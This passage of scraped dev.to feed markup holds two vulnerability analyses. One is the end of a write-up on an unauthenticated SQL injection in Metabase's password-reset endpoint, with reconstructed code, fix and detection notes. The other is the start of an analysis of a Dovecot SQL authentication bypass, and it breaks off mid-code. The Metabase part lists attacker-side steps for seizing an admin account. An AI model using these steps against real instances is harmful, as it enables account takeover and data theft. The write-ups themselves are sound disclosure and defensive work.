&lt;pre class="highlight clojure"&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;defn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;reset-password&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;[{{&lt;/span&gt;&lt;span class="no"&gt;:keys&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;:body&lt;/span&gt;&lt;span class="p"&gt;}]&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="c1"&gt;;; intended: only pull token and password out of the body&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="n"&gt;...&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This reads as "only take &lt;code&gt;token&lt;/code&gt; and &lt;code&gt;password&lt;/code&gt; from the request body." But in the vulnerable version, there was a path that also bound &lt;strong&gt;the entire body&lt;/strong&gt; via &lt;code&gt;:as body&lt;/code&gt;, and downstream logic mixed in code that read extra fields straight out of that &lt;code&gt;body&lt;/code&gt; map:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight clojure"&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;defn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;reset-password&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;[{{&lt;/span&gt;&lt;span class="no"&gt;:keys&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;:as&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;:body&lt;/span&gt;&lt;span class="p"&gt;}]&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="c1"&gt;;; some downstream helper reaches back into `body`&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="c1"&gt;;; for a key that was never declared in :keys&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="n"&gt;...&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;em&gt;(Note: the snippets above are reconstructed to illustrate the mechanism based on public technical analysis — they are not a line-for-line copy of Metabase's actual source.)&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Two things stand out here:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;First, "only declared fields are read" wasn't actually enforced.&lt;/strong&gt; Clojure's map destructuring is convenient, but binding the whole original map alongside it via &lt;code&gt;:as body&lt;/code&gt; does nothing to stop some other piece of code from reaching into &lt;code&gt;body&lt;/code&gt; for a key that was never declared. So even if the API spec only documents &lt;code&gt;token&lt;/code&gt; and &lt;code&gt;password&lt;/code&gt;, if the actual code references another key on &lt;code&gt;body&lt;/code&gt;, that value survives and gets passed along.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Second, when that value landed in the &lt;code&gt;:where&lt;/code&gt; clause of a HoneySQL query map, it passed through a spot where it was treated as a raw SQL fragment instead of a bind parameter.&lt;/strong&gt; HoneySQL is safe by default — ordinary values get auto-bound to &lt;code&gt;?&lt;/code&gt; placeholders. But somewhere in the codebase, this value either got wrapped in something like &lt;code&gt;[:raw ...]&lt;/code&gt; (or an equivalent helper that treats a string as literal SQL), or passed through a dynamic condition-building utility that carried the incorrect assumption that "this value is already safe SQL." The result: an attacker-supplied string gets executed as part of the actual SQL syntax.&lt;/p&gt;

&lt;p&gt;To summarize the attack conditions:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Request body validation worked by &lt;strong&gt;pulling out whatever key happened to be present&lt;/strong&gt;, rather than enforcing a whitelist of allowed keys.&lt;/li&gt;
&lt;li&gt;The value pulled out was &lt;strong&gt;treated as code, not data, at the point the query string was assembled.&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Put those two together on an endpoint with no authentication at all, and you get SQL injection.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Attack, From the Attacker's Side
&lt;/h2&gt;

&lt;p&gt;No special prerequisites needed — just network access to a Metabase instance.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Confirm the normal &lt;code&gt;reset_password&lt;/code&gt; request shape (&lt;code&gt;token&lt;/code&gt;, &lt;code&gt;password&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Add an &lt;strong&gt;extra, undeclared key&lt;/strong&gt; (e.g., one that functions as a user identifier)&lt;/li&gt;
&lt;li&gt;The server accepts this extra key without validation and hands it to the query builder&lt;/li&gt;
&lt;li&gt;The value gets interpreted as a raw SQL fragment, &lt;strong&gt;tampering with the query that decides whose password gets updated&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;The password of whatever user the attacker specified — including an admin account — gets changed to a value the attacker controls&lt;/li&gt;
&lt;li&gt;The attacker logs in normally with that account and has full admin access&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Once you have admin, you can read credentials for connected data sources, view every piece of data exposed in dashboards, change settings, and create new admin accounts or API keys — effectively full takeover of the instance.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F9nr5yl732ewcu24nhuh0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F9nr5yl732ewcu24nhuh0.png" alt=" " width="800" height="1020"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/R8W8j3Of32E" width="710" height="399"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;




&lt;h2&gt;
  
  
  Why This One's Nasty
&lt;/h2&gt;

&lt;p&gt;Typical SQL injection shows up somewhere visible — a login form, a search box, some spot where "user input clearly goes into a query." This case is different:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Looking only at the documented parameters (&lt;code&gt;token&lt;/code&gt;, &lt;code&gt;password&lt;/code&gt;), there's nothing to suggest a vulnerability. The actual bug lived in a field that was never documented — one the developers never explicitly declared as something the endpoint accepts.&lt;/li&gt;
&lt;li&gt;Even a query builder that's "designed to be safe," like Clojure/HoneySQL, loses that safety the moment a value passes through even one helper function that treats it as raw SQL.&lt;/li&gt;
&lt;li&gt;Because the endpoint requires no authentication, a successful exploit skips privilege escalation entirely and lands directly on admin access.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  The Fix
&lt;/h2&gt;

&lt;p&gt;Two principles were applied together in the patched version:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Enforce the input schema as a whitelist.&lt;/strong&gt; Anything outside the explicitly allowed keys (&lt;code&gt;token&lt;/code&gt;, &lt;code&gt;password&lt;/code&gt;) now gets dropped at the destructuring step itself, and the path that let code reach back into the full original map via &lt;code&gt;:as body&lt;/code&gt; was removed entirely.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Pin the update target to a server-side lookup, not client input.&lt;/strong&gt; The user is now looked up by the token first, and only that lookup result's &lt;code&gt;id&lt;/code&gt; is used as the update target — removing any way for the client to specify the update target itself.&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Detection and Response Notes
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Check WAF or reverse-proxy logs for &lt;code&gt;/api/session/reset_password&lt;/code&gt; requests whose body contains keys beyond &lt;code&gt;token&lt;/code&gt; and &lt;code&gt;password&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Cross-reference admin password-change history, new account creation, and API key issuance around the relevant time window.&lt;/li&gt;
&lt;li&gt;Until you can upgrade to the patched version, adding an extra layer of request-body schema validation (rejecting anything outside the allowed keys) at the reverse-proxy level can serve as a stopgap mitigation for the &lt;code&gt;reset_password&lt;/code&gt; endpoint.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>database</category>
      <category>sql</category>
      <category>ubuntu</category>
      <category>cve</category>
    </item>
    <item>
      <title>CVE-2026-24031 Analysis — Dovecot SQL-Based Authentication Bypass (an auth_username_chars Regression)</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Wed, 02 Sep 2026 07:41:58 +0000</pubDate>
      <link>https://dev.to/guidance_white/cve-2026-24031-analysis-dovecot-sql-based-authentication-bypass-an-authusernamechars-603</link>
      <guid>https://dev.to/guidance_white/cve-2026-24031-analysis-dovecot-sql-based-authentication-bypass-an-authusernamechars-603</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fqj2jmtdxqfaqe52egb1q.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fqj2jmtdxqfaqe52egb1q.png" alt=" " width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Overview
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Item&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE ID&lt;/td&gt;
&lt;td&gt;CVE-2026-24031&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Component&lt;/td&gt;
&lt;td&gt;Dovecot Core (SQL passdb/userdb authentication)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vulnerability class&lt;/td&gt;
&lt;td&gt;CWE-89 (SQL Injection)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS 3.1&lt;/td&gt;
&lt;td&gt;7.7 (High) — &lt;code&gt;AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected versions&lt;/td&gt;
&lt;td&gt;OX Dovecot CE core 2.4.0–2.4.2, OX Dovecot Pro core 3.1.0–3.1.3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed in&lt;/td&gt;
&lt;td&gt;CE core &lt;strong&gt;2.4.3&lt;/strong&gt;, Pro core &lt;strong&gt;3.1.4&lt;/strong&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Internal tracking ID&lt;/td&gt;
&lt;td&gt;DOV-8781&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Discovery / disclosure&lt;/td&gt;
&lt;td&gt;2026-02-23 / 2026-03-27&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Discoverer&lt;/td&gt;
&lt;td&gt;whisperer (YesWeHack)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Dovecot's official security advisory (OXDC-2026-0001) summarizes it in one line:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Dovecot SQL based authentication can be bypassed when &lt;code&gt;auth_username_chars&lt;/code&gt; is cleared by admin. This vulnerability allows bypassing authentication for any user and user enumeration.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Read at face value it sounds like a pure configuration mistake, but the actual root cause is a &lt;strong&gt;regression introduced during the 2.4 settings-system refactor, where an explicitly-requested SQL escape function is silently discarded&lt;/strong&gt;. &lt;code&gt;auth_username_chars&lt;/code&gt; being cleared is only the precondition that lets the bug get triggered in practice.&lt;/p&gt;

&lt;p&gt;This post is based on a direct clone of the dovecot/core repository, comparing the vulnerable (2.4.2) and patched (2.4.3) source to trace the actual root cause.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. Background — what auth_username_chars actually does
&lt;/h2&gt;

&lt;p&gt;Dovecot reuses the username a client supplies at login in several places — SQL/LDAP queries, file paths (&lt;code&gt;%u&lt;/code&gt;, &lt;code&gt;%n&lt;/code&gt;, &lt;code&gt;%d&lt;/code&gt; variable substitution), and more. &lt;code&gt;auth_username_chars&lt;/code&gt; is the first line of defense against dangerous characters ending up in those places.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Default value in &lt;code&gt;src/auth/auth-settings.c&lt;/code&gt;:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;username_chars&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890.-_@"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;By default only letters, digits, and &lt;code&gt;.&lt;/code&gt; &lt;code&gt;-&lt;/code&gt; &lt;code&gt;_&lt;/code&gt; &lt;code&gt;@&lt;/code&gt; are allowed. SQL metacharacters like a single quote (&lt;code&gt;'&lt;/code&gt;) or semicolon are not part of the whitelist at all.&lt;/p&gt;

&lt;p&gt;That string is converted into a 256-byte bitmap (&lt;code&gt;username_chars_map&lt;/code&gt;) with a special case worth noting:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;src/auth/auth-settings.c&lt;/code&gt; (around lines 623–630):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;set&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;username_chars&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sc"&gt;'\0'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="cm"&gt;/* all chars are allowed */&lt;/span&gt;
    &lt;span class="n"&gt;memset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;set&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;username_chars_map&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
           &lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;set&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;username_chars_map&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;set&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;username_chars&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="sc"&gt;'\0'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;set&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;username_chars_map&lt;/span&gt;&lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="kt"&gt;uint8_t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In other words, setting &lt;code&gt;auth_username_chars&lt;/code&gt; to an &lt;strong&gt;empty string doesn't mean "no characters allowed" — it means the exact opposite: "allow every byte (0x00–0xFF)."&lt;/strong&gt; Admins sometimes clear this setting in practice to support wide/unicode usernames, and the moment they do, the first-line filter against SQL metacharacters disappears completely.&lt;/p&gt;

&lt;p&gt;The actual filtering happens where &lt;strong&gt;&lt;code&gt;auth_request_fix_username()&lt;/code&gt; in &lt;code&gt;src/auth/auth-request-fields.c&lt;/code&gt;&lt;/strong&gt; checks that map:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="sc"&gt;'\0'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;set&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;username_translation_map&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0xff&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;set&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;username_translation_map&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0xff&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;set&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;username_chars_map&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0xff&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;error_r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;t_strdup_printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="s"&gt;"Username character disallowed by auth_username_chars: "&lt;/span&gt;
            &lt;span class="s"&gt;"0x%02x (username: %s)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="n"&gt;str_sanitize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;128&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When &lt;code&gt;username_chars_map&lt;/code&gt; is filled with 1s across the board, this check effectively rejects nothing. Up to this point we're still in "admin misconfiguration" territory. The real problem is what happens next.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. How the SQL query gets built — passdb-sql.c
&lt;/h2&gt;

&lt;p&gt;An SQL passdb builds its query string (e.g. &lt;code&gt;SELECT username, password FROM users WHERE username = '%u'&lt;/code&gt;) by expanding variables like &lt;code&gt;%u&lt;/code&gt; (username) inside the configured &lt;code&gt;passdb_sql_query&lt;/code&gt; template. To prevent SQL injection, the substituted value must always go through SQL escaping.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;src/auth/passdb-sql.c&lt;/code&gt;:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;passdb_sql_escape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;output_r&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                             &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;error_r&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;sql_db&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;db&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;sql_escape_string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;output_r&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;error_r&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;sql_lookup_pass&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;passdb_sql_request&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;sql_request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;
    &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;settings_get_params&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;escape_func&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;passdb_sql_escape&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;escape_context&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;};&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;settings_get_params&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;authdb_event&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sql_request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;auth_request&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
                            &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;passdb_sql_setting_parser_info&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                            &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;set&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="p"&gt;...&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

